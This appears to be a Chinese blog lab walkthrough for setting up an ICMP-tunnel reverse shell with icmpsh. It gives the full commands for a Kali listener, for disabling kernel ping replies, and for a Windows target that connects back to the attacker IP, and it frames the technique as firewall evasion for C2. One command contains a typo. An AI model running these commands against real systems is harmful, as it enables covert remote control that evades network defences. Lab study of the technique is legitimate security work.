目录:
漏洞概述
ICMP隧道:
将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙通常不会过滤ping数据包),通常用于内网攻击中的绕过防火墙建立C2通道。
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。
漏洞复现
前提环境
1、目标主机为windows系统,我用的windows10,也可使用win7。
2、攻击机安装python2环境(我用的kali),使用pip2安装impacket类库
这里使用 icmpsh跨平台工具反弹shell,要求python版本 < python3(使用python2)。
环境搭建
攻击机(kali,root用户登录)
一、安装pip2
c版本和python版本运行需要impacket库文件中的各种协议支持,需要使用pip2安装,kali默认未安装pip2。
详见我写的pip2安装方法:
Kali Python2.7安装pip2和模块方法_huayimu的博客-CSDN博客_kali python2安装pip
二、安装impacket模块
使用pip2安装impacket模块:
pip2 install impacket
sysctl -w net.ipv4.icmp_echo_ighore_all=1 # 关闭系统自身的icmp回应
cd icmpsh
python2 icmpsh_m.py 【kali主机地址】 【windows主机地址】 # 运行工具
以下为我踩坑避坑的具体操作过程:
1、安装impacket模块时会有读出超时的报错
重复此操作多试几次,给pip更新源后可能无此报错
继续执行会有这个报错:
setup.py未被执行,可能是linux下载连接中断导致,可去python的pip官网找impacket模块用windows下载传输,也可去github上下载:
https://github.com/fortra/impacket
需要用到下面这个py文件:
把setup.py放入kali中,进入impacket-master目录中,给setup.py赋予可执行权限
chmod 777 setup.py
继续安装
python2 setup.py install
在这里会卡一会,kali在https://files.pythonhosted.org下载所需文件,这里可能会断。如果这段通过了,结束的最下方会有报错,但不影响
(这里我尝试使用python3安装了一遍,结果是一样的
)
验证是否成功安装impacket模块的方法:
可利用复现过程操作一下看是否有这个报错,若有则需要重新安装impacket模块:
2、接下来我们还需要关闭我们之前的ping命令应答程序,这样可以防止内核自己对ping包进行响应。否则会一直携带shell数据不停反弹,因为icmpsh工具要代替系统本身的ping命令的应答程序。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
实验完成后开启系统ping的话将最后的1改为0即可
复现过程
下载icmpsh(pyload)
GitHub - bdamele/icmpsh: Simple reverse ICMP shell
或https://github.com/bdamele/icmpsh
git clone GitHub - bdamele/icmpsh: Simple reverse ICMP shell
或git clone GitHub - bdamele/icmpsh: Simple reverse ICMP shell
建议使用windows下载传输,kali速度太慢。(我使用的是/bdamele/icmpsh这个)
(复现时Kali使用icmpsh_m.py,windows使用icmpsh.exe。)
复现
攻击机kali
放入icmpsh工具(整个目录),并进入到icmpsh-master目录中
执行,开启监听:
然后可以把kali拖到旁边开始监听
python2 icmpsh_m.py 攻击IP 靶机IP
靶机win10
把icmpsh.exe文件放入win10的任意目录,从目录链接处打开cmd
icmpsh.exe -t 192.168.xxx.xxx # -t后面接上攻击机的ip地址
此时去攻击机查看,显示已反弹shell成功,接收到shell。
可输入命令查看返回
由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。
参考:
icmpsh使用_分等级考试的佛的博客-CSDN博客_icmpsh
如何利用icmpsh建立icmp隧道反弹shell - 网络管理 - 亿速云
内网渗透之 ICMP(icmpsh) 协议反弹Shell_Ling-cheng的博客-CSDN博客_icmp shell
若此方法行不通,可参考
https://jishuin.proginn.com/p/763bfbd2e94d
注意:
所有文章,仅供安全研究与学习之用,后果自负!!